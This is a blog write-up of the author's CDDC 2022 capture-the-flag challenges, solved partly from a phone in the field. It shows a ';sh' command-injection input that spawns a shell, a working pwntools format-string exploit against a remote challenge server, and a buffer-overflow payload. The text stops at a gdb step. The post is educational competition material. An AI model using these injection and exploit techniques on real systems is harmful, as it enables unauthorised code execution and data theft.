CDDC 2022 in Thailand Outfield
CDDC, or Cyber Defenders Discovery Camp is a Capture the Flag Competition hosted by DSTA for Singaporeans. I usually participate in the JC/IP category since my education background is as such.
Last year, I did CDDC 2021 in Ex Crescendo. I overcame the odds and did it in outfield, with a spotty data signal and no laptop
This year, its time for CDDC 2022 Ex Crescendo. But this time, it's in Thailand.
Overall
Thoughts
Our team, NYCP got 12th place. Not bad for 3 guys currently serving NS at the same time.
https://docs.google.com/spreadsheets/d/1inUj_QOlWg61jBA6h-Rm_WdsS2N2c1954HmkXB63gfY/edit?usp=sharing
This CTF was fun and good. Got to use some of my OSCP knowledge, revise some Pwning, learn about 64bit format string bugs, improve my web skills and more. Only regret is that i could have tried harder for this to aim for top 10, but oh well.
How we did the challenges
For me it's the same thing as last year. The main strategies I used are
- Kali Nethunter
- Tmate to SSH into home desktop
However, in Thailand, there are some things which are for better or for worse
- I managed to get unlimited data SIM card for 330 baht = 14SGD, which helped, as I don't have to spend time thinking about data consumption. The only limitation is that it has a cap on the data speed, but that is not important for CTFs, since they are not that data intensive
- Data signal is surprisingly good, even outfield
- Generally 4G 2 bar or so, but very usable.
- This means that I can access the services anywhere, instead of waiting and trying to get signal during ration runs.
- Didn't dare to bring a laptop, since its a military exercise, and I didn't want to risk it
Even though I'm in Thailand, it was actually easier in some ways than last year, as we were mainly preparing stuff in camp. Only in the last few hours did we move out to set up for outfield (That's when I entirely did the SPA Challenge). This is compared to last year, where I did the entire CTF outfield.
Now lets move on to the challenge writeups.
Ring 5
Misc - go n c
┌──(kali㉿localhost)-[~]
└─$ nc 13.250.249.51 7101
CDDC22{S1mp1e_Ch4113ng3_just_G0_4nd_S33}
┌──(kali㉿localhost)-[~]
└─$
Forensics - Unknown File
Steps are
- Unzip the file -> Get hexadecimal text file
- Use Cyberchef to convert hexadecimal text into binary data -> File format is .jpg -> Save as a file
- Use fotoforensics webpage to figure out that the photo has hidden pixels, uncover it to get the flag.
~/.../downloads/cddc2022 $ unzip ../Unknown_file.zip
Archive: ../Unknown_file.zip
inflating: Unknown_file.txt
~/.../downloads/cddc2022 $
CDDC22{S6oW\_me\_y0u're\_4he\_8est}
Network - Simple Shark
Open pcap given in Wireshark, Export HTTP Objects and Save all of them, and then list the contents of all the files to get the flag
~/.../Documents/cddc2022 $ cd simpleshark/
~/.../cddc2022/simpleshark $ ls
%2f fury.txt object110 object29 shark.txt
Meet_the_Real.png images.jpeg object119 object30
Reach.pdf masterpiece.docx object141 object78
carpe_diem.png maya_angelou.txt object148 photo.png
dispair.pdf object102 object149 pixabay.jpeg
~/.../cddc2022/simpleshark $ cat *.txt
CDDC22{The_s6@rK_H@D_@_F1@99999!!!}
You are the sum total of everything you've ever seen, heard, eaten, smelled, been told, forgot -- it's all there. Everything influences each of us, and because of that I try to make sure that my experiences are positive
Baby shark, doo doo doo doo doo doo. Baby shark, doo doo doo doo doo doo.
Baby shark, doo doo doo doo doo doo. Baby shark!
Mommy shark, doo doo doo doo doo doo. Mommy shark, doo doo doo doo doo doo.
Mommy shark, doo doo doo doo doo doo. Mommy shark!
~/.../cddc2022/simpleshark $
CDDC22{The\_s6@rK\_H@D\_@\_F1@99999!!!}
Network - SNMP
On looking through the pcap, the string "public1" appears many times in many packets.You can guess the community string is that for use in SNMP scans.
┌──(kali㉿localhost)-[~]
└─$ onesixtyone 13.215.173.140 public1
Scanning 1 hosts, 1 communities
13.215.173.140 [public1] HP ETHERNET MULTI-ENVIRONMENT. The flag is CDDC22{L34king_SNMP_C0mmunity_$}{ #C}
┌──(kali㉿localhost)-[~]
└─$
More info about SNMP cam be found https://github.com/garyhooks/oscp/blob/master/__REFERENCE__/snmp.md, its an OSCP topic.
CDDC22{L34king\_SNMP\_C0mmunity\_$}
Web - Baby Web
Open web page and inspect element to view the flag
CDDC22{H3lL0\_Spac3\_tr4v3l3r5}
Web - Little Star
Firstly, I tried reading the source code of the webpage. The comment <!-- twinkle_star -> little_star -> flag → would likely be useful. The Javascript source code suggests that the webpage retrieves data from the endpoint
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013
<html>
<head>
<meta charset="utf-8">
<title> Star Cookies </title>
<link href="/static/css/main.css" rel="stylesheet">
<script src="/static/js/main.js"></script>
<script src="/static/js/jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function() {
main();
})
</script>
</head>
<body>
<div id="sky">
<div class="content">
<!-- twinkle_star -> little_star -> flag -->
<div><div class="button" onclick="star()">⭐</div></div>
</div>
</div>
</body>
</html>
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/static/js/main.js
function star() {
$.get("/star", function(data, status) {
html_code = '<div class="button">⭐</div>\n'+data['content'];
$(".content")[0].innerHTML = html_code;
})
}
function main() {
for(var i = 0; i < 200; i++) {
//get random dimensions
var x = Math.random() * 100;
var y = Math.random() * 50;
var d = Math.random() * 4;
var s = Math.random() * 2 + 1.5;
//create new element and add to html
var star = document.createElement("div");
star.classList.add("star");
var sky = document.getElementById("sky");
sky.appendChild(star);
star.style.width = d + "px";
star.style.height = d + "px";
star.style.top = y + "%";
star.style.left = x + "%";
star.style.animationDuration = s + "s";
}
}
┌──(kali㉿localhost)-[/tmp]
└─$
I tried monitoring the webpage network requests using Firefox. The /star endpoint provides a HTML element to show an image. There is also a request cookie of "twinkle_star".
I tried changing the request cookie to "flag" to get the flag
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star -X POST
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=little_star"
{"content":"<div class=\"cookie\">little_star</div> <br /><img class=\"image\" src=\"/static/img/yellostar.gif\">"}
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=twinkle_star"
{"content":"<div class=\"cookie\">twinkle_star</div> <br /><img class=\"image\" src=\"/static/img/starfall.gif\">"}
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=flag"
{"content":"<div class=\"cookie\">FLAG!</div> <br /><div class=\"text-rainbow\">CDDC22{B4by_W3b_H4cking_3asy++}</div>"}
┌──(kali㉿localhost)-[/tmp]
└─$
CDDC22{B4by\_W3b\_H4cking\_3asy++}
Pwn - Command Injection
The title of the challenge suggests a command injection, injecting something in the text such that it is interpreted as running a command.
Firstly, I viewed the strings in the binary (Lazy to decompile lol)
- It revealed the potential key: Pa$$WoRD1@
- It revealed the command to inject in: echo %s
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ strings command_injection
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
sprintf
strncmp
puts
__stack_chk_fail
stdin
read
stdout
system
sleep
__cxa_finalize
setvbuf
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
Key :
Pa$$WoRD1@
echo %s
Wrong key!
Good bye.
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
server.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strncmp@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
stdout@@GLIBC_2.2.5
puts@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
read@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
func
__libc_csu_init
fflush@@GLIBC_2.2.5
__bss_start
main
setvbuf@@GLIBC_2.2.5
sprintf@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
sleep@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
Testing the given key
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012 Key : Pa$$WoRD1@ Pa6344WoRD1@
Good bye.
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : aa
Wrong key!
Good bye.
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
Time to add delimiters
We could run multiple commands in 1 line in Linux, by putting ; between commands. I tried to do that, so that the command run is "echo Pa$$WoRD1@;sh", which brings up a shell
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : Pa$$WoRD1@;sh
Pa6782WoRD1@
pwd
/home/user
ls -al
total 28
drwxr-x--- 1 root user 4096 Jun 9 17:36 .
drwxr-xr-x 1 root root 4096 Jun 9 17:36 ..
-r--r----- 1 root user 36 May 30 17:27 flag
-rwxr-x--- 1 root user 8800 May 30 17:27 prob
-rwxr-x--- 1 root user 62 Jun 9 17:36 run{ #C}
Trying to read flag
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : Pa$$WoRD1@;sh
Pa7104WoRD1@
ls -al
total 28
drwxr-x--- 1 root user 4096 Jun 9 17:36 .
drwxr-xr-x 1 root root 4096 Jun 9 17:36 ..
-r--r----- 1 root user 36 May 30 17:27 flag
-rwxr-x--- 1 root user 8800 May 30 17:27 prob
-rwxr-x--- 1 root user 62 Jun 9 17:36 run
cat flag
CDDC22{H3h3_1nject1ng_c0Mmand_Fun~!}{ #C}
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
Pwn - Simple format string Attack
I firstly decompiled it with Retdec.
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler <info@retdec.com>
//
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ------------------------ Structures ------------------------
struct _IO_FILE {
int32_t e0;
};
// ------------------- Function Prototypes --------------------
int64_t __do_global_dtors_aux(void);
int64_t __libc_csu_fini(void);
int64_t __libc_csu_init(int64_t a1, int64_t a2, int64_t a3);
int64_t _fini(void);
int64_t _init(void);
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4);
int64_t deregister_tm_clones(void);
int64_t frame_dummy(void);
int32_t function_7b0(char * s1, char * s2, int32_t n);
int32_t function_7c0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * stream);
int32_t function_7d0(struct _IO_FILE * stream);
void function_7e0(void);
int32_t function_7f0(char * format, ...);
char * function_800(char * s, int32_t n, struct _IO_FILE * stream);
int32_t function_810(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n);
struct _IO_FILE * function_820(char * filename, char * modes);
void function_830(char * s);
void function_840(int32_t status);
void function_850(int64_t * d);
int64_t readflag(void);
int64_t register_tm_clones(void);
// --------------------- Global Variables ---------------------
int64_t g1 = 2400; // 0x200d70
int64_t g2 = 2336; // 0x200d78
struct _IO_FILE * g3 = NULL; // 0x201020
struct _IO_FILE * g4 = NULL; // 0x201030
char g5 = 0; // 0x201038
char * g6; // 0x201040
int32_t g7 = 0; // 0x400
int32_t g8;
// ------------------------ Functions -------------------------
// Address range: 0x788 - 0x79f
int64_t _init(void) {
int64_t result = 0; // 0x796
if (*(int64_t *)0x200fe8 != 0) {
// 0x798
__gmon_start__();
result = &g8;
}
// 0x79a
return result;
}
// Address range: 0x7b0 - 0x7b6
int32_t function_7b0(char * s1, char * s2, int32_t n) {
// 0x7b0
return strncmp(s1, s2, n);
}
// Address range: 0x7c0 - 0x7c6
int32_t function_7c0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * stream) {
// 0x7c0
return fread(ptr, size, n, stream);
}
// Address range: 0x7d0 - 0x7d6
int32_t function_7d0(struct _IO_FILE * stream) {
// 0x7d0
return fclose(stream);
}
// Address range: 0x7e0 - 0x7e6
void function_7e0(void) {
// 0x7e0
__stack_chk_fail();
}
// Address range: 0x7f0 - 0x7f6
int32_t function_7f0(char * format, ...) {
// 0x7f0
return printf(format);
}
// Address range: 0x800 - 0x806
char * function_800(char * s, int32_t n, struct _IO_FILE * stream) {
// 0x800
return fgets(s, n, stream);
}
// Address range: 0x810 - 0x816
int32_t function_810(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n) {
// 0x810
return setvbuf(stream, buf, modes, n);
}
// Address range: 0x820 - 0x826
struct _IO_FILE * function_820(char * filename, char * modes) {
// 0x820
return fopen(filename, modes);
}
// Address range: 0x830 - 0x836
void function_830(char * s) {
// 0x830
perror(s);
}
// Address range: 0x840 - 0x846
void function_840(int32_t status) {
// 0x840
exit(status);
}
// Address range: 0x850 - 0x856
void function_850(int64_t * d) {
// 0x850
__cxa_finalize(d);
}
// Address range: 0x860 - 0x88b
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4) {
// 0x860
int64_t v1; // 0x860
__libc_start_main(2518, (int32_t)a4, (char **)&v1, (void (*)())2816, (void (*)())2928, (void (*)())a3);
__asm_hlt();
// UNREACHABLE
}
// Address range: 0x890 - 0x8c2
int64_t deregister_tm_clones(void) {
// 0x890
return (int64_t)&g3;
}
// Address range: 0x8d0 - 0x912
int64_t register_tm_clones(void) {
// 0x8d0
return 0;
}
// Address range: 0x920 - 0x95a
int64_t __do_global_dtors_aux(void) {
// 0x920
if (g5 != 0) {
// 0x958
int64_t result; // 0x920
return result;
}
// 0x929
if (*(int64_t *)0x200ff8 != 0) {
// 0x937
__cxa_finalize((int64_t *)*(int64_t *)0x201008);
}
int64_t result2 = deregister_tm_clones(); // 0x943
g5 = 1;
return result2;
}
// Address range: 0x960 - 0x96a
int64_t frame_dummy(void) {
// 0x960
return register_tm_clones();
}
// Address range: 0x96a - 0x9d6
int64_t readflag(void) {
struct _IO_FILE * file = fopen("flag", "rb"); // 0x980
if (file != NULL) {
// 0x9a6
fread((int64_t *)&g6, (int32_t)&g7, 1, file);
fclose(file);
return 0;
}
// 0x990
perror("[-] flag file ");
exit(0);
// UNREACHABLE
}
// Address range: 0x9d6 - 0xaf7
int main(int argc, char ** argv) {
int64_t v1 = __readfsqword(40); // 0x9e1
setvbuf(g3, NULL, 1, 0);
setvbuf(g4, NULL, 1, 0);
readflag();
printf("[+] password => %p\n", (int64_t *)"P4s$w0rD");
int64_t str; // bp-1048, 0x9d6
fgets((char *)&str, (int32_t)&g7, g4);
printf((char *)&str);
if (strncmp("P4s$w0rD", "weakpass", 8) != 0) {
// 0xac4
printf("[!] password is %s\n", "P4s$w0rD");
} else {
// 0xaaa
printf("[+] %s", (char *)&g6);
}
int64_t result = 0; // 0xaee
if (v1 != __readfsqword(40)) {
// 0xaf0
__stack_chk_fail();
result = &g8;
}
// 0xaf5
return result;
}
// Address range: 0xb00 - 0xb65
int64_t __libc_csu_init(int64_t a1, int64_t a2, int64_t a3) {
int64_t result = _init(); // 0xb2c
if ((int64_t)&g2 - (int64_t)&g1 >> 3 == 0) {
// 0xb56
return result;
}
int64_t v1 = 0; // 0xb34
while (v1 + 1 != (int64_t)&g2 - (int64_t)&g1 >> 3) {
// 0xb40
v1++;
}
// 0xb56
return result;
}
// Address range: 0xb70 - 0xb72
int64_t __libc_csu_fini(void) {
// 0xb70
int64_t result; // 0xb70
return result;
}
// Address range: 0xb74 - 0xb7d
int64_t _fini(void) {
// 0xb74
int64_t result; // 0xb74
return result;
}
// --------------- Dynamically Linked Functions ---------------
// void __cxa_finalize(void * d);
// void __gmon_start__(void);
// int __libc_start_main(int *(main)(int, char **, char **), int argc, char ** ubp_av, void(* init)(void), void(* fini)(void), void(* rtld_fini)(void), void(* stack_end));
// void __stack_chk_fail(void);
// void exit(int status);
// int fclose(FILE * stream);
// char * fgets(char * restrict s, int n, FILE * restrict stream);
// FILE * fopen(const char * restrict filename, const char * restrict modes);
// size_t fread(void * restrict ptr, size_t size, size_t n, FILE * restrict stream);
// void perror(const char * s);
// int printf(const char * restrict format, ...);
// int setvbuf(FILE * restrict stream, char * restrict buf, int modes, size_t n);
// int strncmp(const char * s1, const char * s2, size_t n);
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (7.5.0)
// Detected functions: 22
I also disassembled it using objdump -M intel -d fmt
00000000000009d6 <main>:
9d6: 55 push rbp
9d7: 48 89 e5 mov rbp,rsp
9da: 48 81 ec 20 04 00 00 sub rsp,0x420
9e1: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
9e8: 00 00
9ea: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
9ee: 31 c0 xor eax,eax
9f0: 48 8b 05 29 06 20 00 mov rax,QWORD PTR [rip+0x200629] # 201020 <stdout@GLIBC_2.2.5>
9f7: b9 00 00 00 00 mov ecx,0x0
9fc: ba 01 00 00 00 mov edx,0x1
a01: be 00 00 00 00 mov esi,0x0
a06: 48 89 c7 mov rdi,rax
a09: e8 02 fe ff ff call 810 <setvbuf@plt>
a0e: 48 8b 05 1b 06 20 00 mov rax,QWORD PTR [rip+0x20061b] # 201030 <stdin@GLIBC_2.2.5>
a15: b9 00 00 00 00 mov ecx,0x0
a1a: ba 01 00 00 00 mov edx,0x1
a1f: be 00 00 00 00 mov esi,0x0
a24: 48 89 c7 mov rdi,rax
a27: e8 e4 fd ff ff call 810 <setvbuf@plt>
a2c: 48 8d 05 dd 05 20 00 lea rax,[rip+0x2005dd] # 201010 <password>
a33: 48 89 85 e8 fb ff ff mov QWORD PTR [rbp-0x418],rax
a3a: b8 00 00 00 00 mov eax,0x0
a3f: e8 26 ff ff ff call 96a <readflag>
a44: 48 8b 85 e8 fb ff ff mov rax,QWORD PTR [rbp-0x418]
a4b: 48 89 c6 mov rsi,rax
a4e: 48 8d 3d 46 01 00 00 lea rdi,[rip+0x146] # b9b <_IO_stdin_used+0x1b>
a55: b8 00 00 00 00 mov eax,0x0
a5a: e8 91 fd ff ff call 7f0 <printf@plt>
a5f: 48 8b 15 ca 05 20 00 mov rdx,QWORD PTR [rip+0x2005ca] # 201030 <stdin@GLIBC_2.2.5>
a66: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410]
a6d: be 00 04 00 00 mov esi,0x400
a72: 48 89 c7 mov rdi,rax
a75: e8 86 fd ff ff call 800 <fgets@plt>
a7a: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410]
a81: 48 89 c7 mov rdi,rax
a84: b8 00 00 00 00 mov eax,0x0
a89: e8 62 fd ff ff call 7f0 <printf@plt>
a8e: ba 08 00 00 00 mov edx,0x8
a93: 48 8d 35 15 01 00 00 lea rsi,[rip+0x115] # baf <_IO_stdin_used+0x2f>
a9a: 48 8d 3d 6f 05 20 00 lea rdi,[rip+0x20056f] # 201010 <password>
aa1: e8 0a fd ff ff call 7b0 <strncmp@plt>
aa6: 85 c0 test eax,eax
aa8: 75 1a jne ac4 <main+0xee>
aaa: 48 8d 35 8f 05 20 00 lea rsi,[rip+0x20058f] # 201040 <flag>
ab1: 48 8d 3d 00 01 00 00 lea rdi,[rip+0x100] # bb8 <_IO_stdin_used+0x38>
ab8: b8 00 00 00 00 mov eax,0x0
abd: e8 2e fd ff ff call 7f0 <printf@plt>
ac2: eb 18 jmp adc <main+0x106>
ac4: 48 8d 35 45 05 20 00 lea rsi,[rip+0x200545] # 201010 <password>
acb: 48 8d 3d ed 00 00 00 lea rdi,[rip+0xed] # bbf <_IO_stdin_used+0x3f>
ad2: b8 00 00 00 00 mov eax,0x0
ad7: e8 14 fd ff ff call 7f0 <printf@plt>
adc: b8 00 00 00 00 mov eax,0x0
ae1: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8]
ae5: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
aec: 00 00
aee: 74 05 je af5 <main+0x11f>
af0: e8 eb fc ff ff call 7e0 <__stack_chk_fail@plt>
af5: c9 leave
af6: c3 ret
af7: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
afe: 00 00
At first, I thought maybe we would overwrite the password variable with weakpass
. The password variable address is initially given before any format string input happens, so we could read that using pwntools, put it on the string along with a format string write, and overwrite the contents of the variable. The execution flow goes into the other branch of the if statement to show the flag
I tried to access the contents of the input from the format string. This shows that the 8th argument is the start of the contents of the string ('A' = 0x41)
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python3 -c "print('A'*16+'%x__'*10)"|./fmt
[+] password => 0x55688a401010
AAAAAAAAAAAAAAAA8b1e1891__0__8b1e18c9__8af2a2b0__92664c00__8af2a3e0__8a401010__41414141__41414141__5f5f7825__
[!] password is P4s$w0rD
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
One of the main issue with 64 but addresses is that there are leading null bytes. After some research, I found https://tripoloski1337.github.io/ctf/2020/06/11/format-string-bug.html. I could put the address at the back of the payload string. Something like this
[Write][Padding][Address in Little Endian]\x00\x00…
We tried putting in the password variable address in the payload and accessing it
- We calculate the argument to read from based on the length of the string
- We have to pad between the different sections of the payload (reading, address) such that things are aligned by a group of 8 bytes. This makes it easier to calculate the argument to read from in the format string.
This here is a rough Proof of Concept
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmt.py
[+] Starting local process './fmt': pid 4899
('[+] password => 0x563486e01010\n', '0x563486e01010')
['10', '10', 'e0', '86', '34', '56', '0x', '']
(1801545079,)
[*] Switching to interactive mode
[*] Process './fmt' stopped with exit code 0 (pid 4899)
AAAA0x563486e01010_______\x10V[!] password is P4s$w0rD
[*] Got EOF while reading in interactive
$
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ cat fmt.py
from pwn import *
import struct
io = process('./fmt')
#io.sendline('')
x = io.recvuntil('\n')
passloc = (x.split()[-1])
print(x,passloc)
slicing = []
for i in range(1,16,2):
slicing.append( passloc[-i:-i-2:-1][::-1] )
print(slicing)
payload = ''
payload += "AAAA" # Posiiton 8
#payload += "_______"
payload += "%10$p"
payload += "_______"
#for i in range(4): payload += eval("'\\x"+slicing[i]+"'")
for i in range(0,6):
payload += eval("'\\x"+slicing[i]+"'")
#payload += "AAAA"
payload += "\x00\x00"
## Writes #####################
wr1 = "weak" #"pass"
iwr1 = struct.unpack("<L",wr1)
print(iwr1)
###
io.sendline(payload)
io.interactive()
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
Afterwards, I tried making an exploit to overwrite a character of the password variable. I automatically calculated the padding needed to write, as well as for the alignment
from pwn import *
import struct
io = process('./fmt')
#io.sendline('')
x = io.recvuntil('\n')
passloc = (x.split()[-1])
print(x,passloc)
### Getting Address ############
slicing = []
for i in range(1,16,2):
slicing.append( passloc[-i:-i-2:-1][::-1] ) print(slicing)
## Writes #####################
pad1 = "%{}c".format(
ord('w')+ ord('e')*0x100 #+ ord ('a')*0x10000 #+ ord('k')*0x1000000
) # Posiiton 8
pad1no = len(pad1) // 8
print(pad1no)
write1 = "%{}$n".format(7 + pad1no + (len(pad1) % 8 > 0) + 2)
align = "_" * (8- len(pad1) % 8)
align += "-"* (8- len(write1)%8 )
address = ""
for i in range(0,6):
address += eval("'\\x"+slicing[i]+"'")
address += "\x00\x00"
payload = pad1+ write1 + align + address
print(payload)
###
io.sendline(payload)
io.interactive()
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmtt/wea.py
[+] Starting local process './fmt': pid 6517
('[+] password => 0x563e2cc01010\n', '0x563e2cc01010')
['10', '10', 'c0', '2c', '3e', '56', '0x', '']
8319100072149214583
0
%25975c%10$n_---\x10,>V\x00
[*] Switching to interactive mode
…
\x91_---\x10,>V[!] password is we
[*] Got EOF while reading in interactive
$
On trying to scale this to 4 bytes, the ASCII value of "weak" or any other 4 letter word becomes too large that it would be very difficult to write and test.
Not to mention that %n can only write 4 bytes at once, and not 8, so 2 writes are needed. However, we can only put 1 address in the payload, as the terminating characters of the string need to be used.
Maybe there's another way to do this. On looking at the code, maybe instead of changing code execution, we change the address from the password variable to the flag variable?
We read in the password variable address, calculate the flag variable using the offsets from the diaassembly (201010 and 201040 respectively), put it in the payload and read it.
a9a: 48 8d 3d 6f 05 20 00 lea rdi,[rip+0x20056f] # 201010 <password>
aa1: e8 0a fd ff ff call 7b0 <strncmp@plt>
aa6: 85 c0 test eax,eax
aa8: 75 1a jne ac4 <main+0xee>
aaa: 48 8d 35 8f 05 20 00 lea rsi,[rip+0x20058f] # 201040 <flag>
This ended up working well.
from pwn import *
import struct
#io = process('./fmt')
io = remote('13.213.59.167', 7011)
#io.sendline('')
x = io.recvuntil('\n')
passloc = (x.split()[-1])
print(x,passloc)
p=eval(passloc) - 0x201010 + 0x201040
pp = "%#x" % p
passloc =pp
slicing = []
for i in range(1,16,2):
slicing.append( passloc[-i:-i-2:-1][::-1] )
print(slicing,pp)
## Writes #####################
wr1 = "weakpass"
iwr1 = struct.unpack("<Q",wr1)[0]
#iwr2 = struct.unpack("<L",wr2)[0]
print(iwr1)
#iwr1=4
###############################
pad1 = "%{}c".format(4) # Posiiton 8
pad1no = len(pad1) // 8
print(pad1no)
write1 = "%{}$s".format(7 + pad1no + (len(pad1) % 8 > 0) + 2)
align = "_" * (8- len(pad1) % 8)
align += "-"* (8- len(write1)%8 )
address = ""
for i in range(0,6):
address += eval("'\\x"+slicing[i]+"'")
address += "\x00\x00"
payload = pad1+ write1 + align + address
print(payload)
###
io.sendline(payload)
io.interactive()
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmt.py
[+] Opening connection to 13.213.59.167 on port 7011: Done
('[+] password => 0x5570ddc01010\n', '0x5570ddc01010')
(['40', '10', 'c0', 'dd', '70', '55', '0x', ''], '0x5570ddc01040')
8319100072149214583
0
%4c%10$s_____---@\x10U\x00
[*] Switching to interactive mode
\x91CDDC22{B3_c4reful_t0_use_F0rmat_Str1ng!}_____---@\x10U[!] password is P4s$w0rD
[*] Got EOF while reading in interactive
$
CDDC22{B3\_c4reful\_t0\_use\_F0rmat\_Str1ng!}
Pwn - Simple bof
This is a standard buffer Overflow challenge, can read more on the topic first if you don't understand. Watch LiveOverflow videos or something.
Firstly, I checked the binary for any protections (of which there are none)
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ checksec --file=overwriteme
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76) Symbols No 0 3 overwriteme ┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022] └─$ objdump -d -M intel overwriteme > disassembly.html
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
I decompiled it with retdec
~/.../cddc2022/somesharks $ cat ~/storage/downloads/decompiled/tmp/decompilation/overwriteme.c
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler <info@retdec.com>
//
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// ------------------------ Structures ------------------------
struct _IO_FILE {
int32_t e0;
};
// ------------------- Function Prototypes --------------------
int64_t func(void);
// --------------------- Global Variables ---------------------
struct _IO_FILE * g1 = NULL; // 0x601080
struct _IO_FILE * g2 = NULL; // 0x601090
// ------------------------ Functions -------------------------
// Address range: 0x4008b7 - 0x40092e
int64_t func(void) {
// 0x4008b7
printf("Key : ");
fflush(g1);
int64_t buf; // bp-24, 0x4008b7
read(0, &buf, 32);
int32_t puts_rc; // 0x4008b7
if (strncmp((char *)&buf, "weakpass", 10) != 0) {
// 0x40091f
puts_rc = puts("Login FAILED!!");
} else {
// 0x400911
puts_rc = puts("Login Successful!");
}
// 0x40092b
return puts_rc;
}
// Address range: 0x40092e - 0x40098a
int main(int argc, char ** argv) {
// 0x40092e
setvbuf(g1, NULL, 1, 0);
setvbuf(g2, NULL, 1, 0);
func();
return 0;
}
// --------------- Dynamically Linked Functions ---------------
// int fflush(FILE * stream);
// int printf(const char * restrict format, ...);
// int puts(const char * s);
// ssize_t read(int fd, void * buf, size_t nbytes);
// int setvbuf(FILE * restrict stream, char * restrict buf, int modes, size_t n);
// int strncmp(const char * s1, const char * s2, size_t n);
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (7.5.0)
// Detected functions: 2
~/.../cddc2022/somesharks $
I tried overflowing the buffer to the RIP
- I put weakpass\x00 to pass the password check (May as well)
- Surprisingly the string doesn't terminate at the null byte, though that's the problem with read()
- The disassembly (from objdump) gives you the address of the function printflag(). I put its full 64 bit address (including leading null bytes) at the end of the payload
- I fuzzed (tested) the padding between the password and the address manually, such that the address would overwrite the RIP (instruction pointer register)
- I used gdb to check the registers
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python3 -c "print('weakpass\x00'+'A'*15+'\x37\x08\x40\x00\x00')" > /tmp/t
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ gdb overwriteme
